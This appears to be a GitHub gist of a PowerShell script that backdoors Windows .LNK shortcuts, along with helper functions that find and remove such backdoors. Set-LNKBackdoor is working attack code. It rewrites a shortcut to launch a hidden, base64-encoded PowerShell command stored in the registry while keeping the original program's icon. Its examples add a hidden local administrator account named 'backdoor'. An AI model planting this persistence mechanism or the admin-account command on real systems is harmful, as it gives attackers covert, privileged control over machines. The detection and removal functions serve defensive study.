Skip to content

Instantly share code, notes, and snippets.

@Ridter
Forked from HarmJ0y/LNKBackdoor.ps1
Created July 5, 2016 13:37
Show Gist options
  • Save Ridter/0b6c9d1798dd1bbe8a06a7a616f81d3c to your computer and use it in GitHub Desktop.
Save Ridter/0b6c9d1798dd1bbe8a06a7a616f81d3c to your computer and use it in GitHub Desktop.
Functions to 'backdoor' .LNK files with additional functionality and enumerate all 'backdoored' .LNKs on a system.
function Set-LNKBackdoor {
<#
.SYNOPSIS
Backdoors an existing .LNK shortcut to trigger the original binary and a payload specified by
-ScriptBlock or -Command.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This function will take the path to an existing .LNK file and backdoor it to launch a specified payload
along with the original binary. It uses a WScript.Shell COM object to manipulate the shortcut,
building a small cradle that uses [System.Diagnostics.Process]::Start() to launch the original
$LNK.TargetPath binary, and then decode a base64-encoded PowerShell payload that's stored in the
registry at -RegPath (to avoid length restrictions).
If a PowerShell -ScriptBlock is passed as the payload argument, the scriptblock is ASCII
base64-encoded and used. If a PowerShell -Command is passed, the string is base64-encoded if
it is not already and that is used instead.
.PARAMETER Path
The full path to an existing .LNK.
.PARAMETER ScriptBlock
A PowerShell scriptblock to trigger for the payload.
.PARAMETER Command
A string of PowerShell code to trigger for the payload.
.PARAMETER RegPath
The registry path in HKCU/HKLM to store the encoded payload.
.EXAMPLE
PS C:\Users\localadmin\Desktop> Set-LNKBackdoor -Path .\dnSpy.lnk -Command 'net user backdoor Password123! /add && net l
ocalgroup Administrators backdoor /add'
WorkingDirectory : C:\StudentResources\dnSpy
IconLocation : ,0
LaunchString : [System.Diagnostics.Process]::Start('C:\StudentResources\dnSpy\dnSpy.exe');IEX
([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows
debug).debug)))
RegBase64Payload : bmV0IHVzZXIgYmFja2Rvb3IgUGFzc3dvcmQxMjMhIC9hZGQgJiYgbmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgYmFja2Rv
b3IgL2FkZA==
Path : C:\Users\localadmin\Desktop\dnSpy.lnk
LaunchCommand : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -enc WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcA
bgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJwBDADoAXABTAHQAdQBkAGUAbgB0AFIAZQBz
AG8AdQByAGMAZQBzAFwAZABuAFMAcAB5AFwAZABuAFMAcAB5AC4AZQB4AGUAJwApADsASQBFAFgAIAAoAFsAVABlAHgAdAAuAEUA
bgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBG
AHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkA
YwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABkAGUAYgB1AGcAKQAuAGQAZQBiAHUAZwApACkAKQA=
RegPath : HKCU:\Software\Microsoft\Windows\debug
Stores a base64-encoded representation of the passed -Command into HKCU:\Software\Microsoft\Windows\debug
and sets the shortcut at C:\Users\localadmin\Desktop\dnSpy.lnk to launch the original
dnSpy binary and then decode/trigger the registry payload.
.LINK
http://windowsitpro.com/powershell/working-shortcuts-windows-powershell
http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html
https://github.com/samratashok/nishang
http://blog.trendmicro.com/trendlabs-security-intelligence/black-magic-windows-powershell-used-again-in-new-attack/
#>
[CmdletBinding(DefaultParameterSetName = 'ScriptBase64')]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateScript({Test-Path -Path $_ })]
[String]
$Path,
[Parameter(Position = 1, Mandatory = $True, ParameterSetName = 'ScriptBlock')]
[ValidateNotNullOrEmpty()]
[System.Management.Automation.ScriptBlock]
$ScriptBlock,
[Parameter(Position = 1, Mandatory = $True, ParameterSetName = 'ScriptBase64')]
[ValidateNotNullOrEmpty()]
[String]
$Command,
[Parameter(Position = 2)]
[ValidatePattern('^[HKCU|HKLM]:\\.*')]
[String]
$RegPath = 'HKCU:\Software\Microsoft\Windows\debug'
)
if ($PSBoundParameters['ScriptBlock']) {
$Base64Script = [Convert]::ToBase64String(([Text.Encoding]::ASCII).GetBytes($ScriptBlock))
}
else {
# check if the command passed is already base64-encoded
if($Command -match '^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$') {
$Base64Script = $Command
}
else {
$Base64Script = [Convert]::ToBase64String(([Text.Encoding]::ASCII).GetBytes($Command))
}
}
$RegParts = $RegPath.Split('\')
$RegistryPayloadPath = $RegParts[0..($RegParts.Count-2)] -join '\'
$RegistryPayloadKey = $RegParts[-1]
# create a COM object for the LNK
$Obj = New-Object -ComObject WScript.Shell
$LNKPath = (Resolve-Path -Path $Path).Path
$LNK = $Obj.CreateShortcut($LNKPath)
# save off the old .LNK parameters
$OriginalTargetPath = $LNK.TargetPath
$OriginalWorkingDirectory = $LNK.WorkingDirectory
$OriginalIconLocation = $LNK.IconLocation
# store the encoded script into the specified registry key
$Null = Set-ItemProperty -Force -Path $RegistryPayloadPath -Name $RegistryPayloadKey -Value $Base64Script
# trojanize in our new link arguments
$LNK.TargetPath = "${Env:SystemRoot}\System32\WindowsPowerShell\v1.0\powershell.exe"
# set the .LNK to launch the original binary path first before our functionality
$LaunchString = "[System.Diagnostics.Process]::Start('$OriginalTargetPath');IEX ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp $RegistryPayloadPath $RegistryPayloadKey).$RegistryPayloadKey)))"
$LaunchBytes = [System.Text.Encoding]::UNICODE.GetBytes($LaunchString)
$LaunchB64 = [System.Convert]::ToBase64String($LaunchBytes)
$LNK.Arguments = "-nop -enc $LaunchB64"
# make sure to match the old working directory
$LNK.WorkingDirectory = $OriginalWorkingDirectory
$LNK.IconLocation = "$OriginalTargetPath,0"
$LNK.WindowStyle = 7 # hidden
$LNK.Save()
$Properties = @{
'Path' = $LNKPath
'RegPath' = $RegPath
'RegBase64Payload' = $Base64Script
'WorkingDirectory' = $OriginalWorkingDirectory
'LaunchString' = $LaunchString
'LaunchCommand' = "$($LNK.TargetPath) $($LNK.Arguments)"
'IconLocation' = $OriginalIconLocation
}
New-Object -TypeName PSObject -Property $Properties
}
function Get-LNKBackdoor {
<#
.SYNOPSIS
Retrieves LNK backdoor information for a specified LNK modified by Set-LNKBackdoor.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This function will take the path to a .LNK backdoored by Set-LNKBackdoor and extract out relevant
LNK information from the properties in the .LNK.
.EXAMPLE
PS C:\Users\localadmin\Desktop> Get-LNKBackdoor .\dnSpy.lnk
WorkingDirectory : C:\StudentResources\dnSpy
IconLocation : C:\StudentResources\dnSpy\dnSpy.exe,0
LaunchString : [System.Diagnostics.Process]::Start('C:\StudentResources\dnSpy\dnSpy.exe');IEX
([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows
debug).debug)))
RegBase64Payload : bmV0IHVzZXIgYmFja2Rvb3IgUGFzc3dvcmQxMjMhIC9hZGQgJiYgbmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgYmFja2Rv
b3IgL2FkZA==
Path : C:\Users\localadmin\Desktop\dnSpy.lnk
LaunchCommand : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -enc WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcA
bgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJwBDADoAXABTAHQAdQBkAGUAbgB0AFIAZQBz
AG8AdQByAGMAZQBzAFwAZABuAFMAcAB5AFwAZABuAFMAcAB5AC4AZQB4AGUAJwApADsASQBFAFgAIAAoAFsAVABlAHgAdAAuAEUA
bgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBG
AHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkA
YwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABkAGUAYgB1AGcAKQAuAGQAZQBiAHUAZwApACkAKQA=
RegPath : HKCU:\Software\Microsoft\Windows\debug
#>
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateScript({Test-Path -Path $_ })]
[ValidatePattern('^.*\.lnk$')]
[Alias('FullName')]
[String[]]
$Path
)
PROCESS {
ForEach($TargetPath in $Path) {
$TargetPath = (Resolve-Path -Path $TargetPath).Path
# create a COM object for the LNK
$Obj = New-Object -ComObject WScript.Shell
$LNK = $Obj.CreateShortcut($TargetPath)
$Index = $LNK.Arguments.IndexOf('-enc')
if($Index -ne -1) {
$EncodedCommand = $LNK.Arguments.SubString($Index + 5)
$LaunchString = ([Text.Encoding]::UNICODE).GetString([Convert]::FromBase64String($EncodedCommand))
$RegistryPaths = $LaunchString.SubString($LaunchString.IndexOf('gp HK')).Split(' ')
$RegistryPayloadPath = $RegistryPaths[1]
$RegistryPayloadKey = $RegistryPaths[2].split(')')[0]
$RegBase64Payload = (Get-ItemProperty -Path $RegistryPayloadPath -Name $RegistryPayloadKey).$RegistryPayloadKey
$Properties = @{
'Path' = $TargetPath
'RegPath' = "$RegistryPayloadPath\$RegistryPayloadKey"
'RegBase64Payload' = $RegBase64Payload
'WorkingDirectory' = $LNK.WorkingDirectory
'LaunchString' = $LaunchString
'LaunchCommand' = "$($LNK.TargetPath) $($LNK.Arguments)"
'IconLocation' = $LNK.IconLocation
}
New-Object -TypeName PSObject -Property $Properties
}
}
}
}
function Remove-LNKBackdoor {
<#
.SYNOPSIS
Removes the LNK backdoor for a specified LNK modified by Set-LNKBackdoor.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This function will take the path to a .LNK backdoored by Set-LNKBackdoor, extract out relevant
LNK information with Get-LNKBackdoor, will restore the original $LNK.TargetPath, and will remove
the registry payload.
.EXAMPLE
PS C:\> Remove-LNKBackdoor -LNKPath C:\Users\john\Desktop\Firefox.lnk
Remove the registry payload and restore the original shortcut executable path.
.EXAMPLE
PS C:\Users\localadmin\Desktop> Get-Item .\dnSpy.lnk | Get-LNKBackdoor | Remove-LNKBackdoor -Verbose
VERBOSE: Removing registry payload from HKCU:\Software\Microsoft\Windows\debug
VERBOSE: Restoring original LNK path to C:\StudentResources\dnSpy\dnSpy.exe
Remove the registry payload and restore the original shortcut executable path.
#>
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateScript({Test-Path -Path $_ })]
[ValidatePattern('^.*\.lnk$')]
[Alias('FullName')]
[String[]]
$Path
)
PROCESS {
ForEach($TargetPath in $Path) {
$TargetPath = Resolve-Path -Path $TargetPath
$Obj = New-Object -ComObject WScript.Shell
$LNK = $Obj.CreateShortcut($TargetPath)
$LNKObject = Get-LNKBackdoor -Path $TargetPath
$OriginalPath = $LNKObject.LaunchString.split("'")[1]
if($OriginalPath -and ($OriginalPath.Trim() -ne '') ) {
$RegPath = $LNKObject.RegPath
$RegParts = $RegPath.Split('\')
$RegistryPayloadPath = $RegParts[0..($RegParts.Count-2)] -join '\'
$RegistryPayloadKey = $RegParts[-1]
Write-Verbose "Removing registry payload from $RegPath"
try {
$Null = Remove-ItemProperty -Force -Path $RegistryPayloadPath -Name $RegistryPayloadKey -ErrorAction Stop
}
catch {
Write-Warning "Error removing registry payload from $RegPath : $_"
}
Write-Verbose "Restoring original LNK path to $OriginalPath"
$LNK.TargetPath = $OriginalPath
$LNK.Arguments = $Null
$LNK.WindowStyle = 1
$LNK.Save()
}
else {
Write-Warning "OriginalPath is empty."
}
}
}
}
function Find-LNKBackdoor {
<#
.SYNOPSIS
Finds all .LNKs backdoored with Set-LNKBackdoor.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This function will search for all .LNK files in the specified path (default of C:\Users\)
and will retrieve the LNK information with Get-LNKBackdoor. If any $LNK.LaunchCommand paths
match 'powershell.exe -nop -enc' the LNK description object is output.
.EXAMPLE
PS C:\> Find-LNKBackdoor
WorkingDirectory : C:\StudentResources\dnSpy
IconLocation : C:\StudentResources\dnSpy\dnSpy.exe,0
LaunchString : [System.Diagnostics.Process]::Start('C:\StudentResources\dnSpy\dnSpy.exe');IEX
([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows
debug).debug)))
RegBase64Payload : bmV0IHVzZXIgYmFja2Rvb3IgUGFzc3dvcmQxMjMhIC9hZGQgJiYgbmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgYmFja2Rv
b3IgL2FkZA==
Path : C:\Users\localadmin\Desktop\dnSpy.lnk
LaunchCommand : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -enc WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcA
bgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJwBDADoAXABTAHQAdQBkAGUAbgB0AFIAZQBz
AG8AdQByAGMAZQBzAFwAZABuAFMAcAB5AFwAZABuAFMAcAB5AC4AZQB4AGUAJwApADsASQBFAFgAIAAoAFsAVABlAHgAdAAuAEUA
bgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBG
AHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkA
YwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABkAGUAYgB1AGcAKQAuAGQAZQBiAHUAZwApACkAKQA=
RegPath : HKCU:\Software\Microsoft\Windows\debug
.EXAMPLE
PS C:\> Find-LNKBackdoor | Remove-LNKBackdoor
Finds all backdoored LNK files on the system and restores the original LNK functionality.
#>
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateScript({Test-Path -Path $_ })]
[String[]]
$Path = @("$($Env:WinDir | Split-Path -Qualifier)\Users\")
)
PROCESS {
ForEach($SearchPath in $Path) {
# find all .LNK files in the specified search paths
Get-ChildItem -Path $SearchPath -Recurse -Force -Include @('*.lnk') -ErrorAction SilentlyContinue | ForEach-Object {
$LNK = Get-LNKBackdoor -Path $_
if($LNK.LaunchCommand -match 'powershell\.exe -nop -enc') {
$LNK
}
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment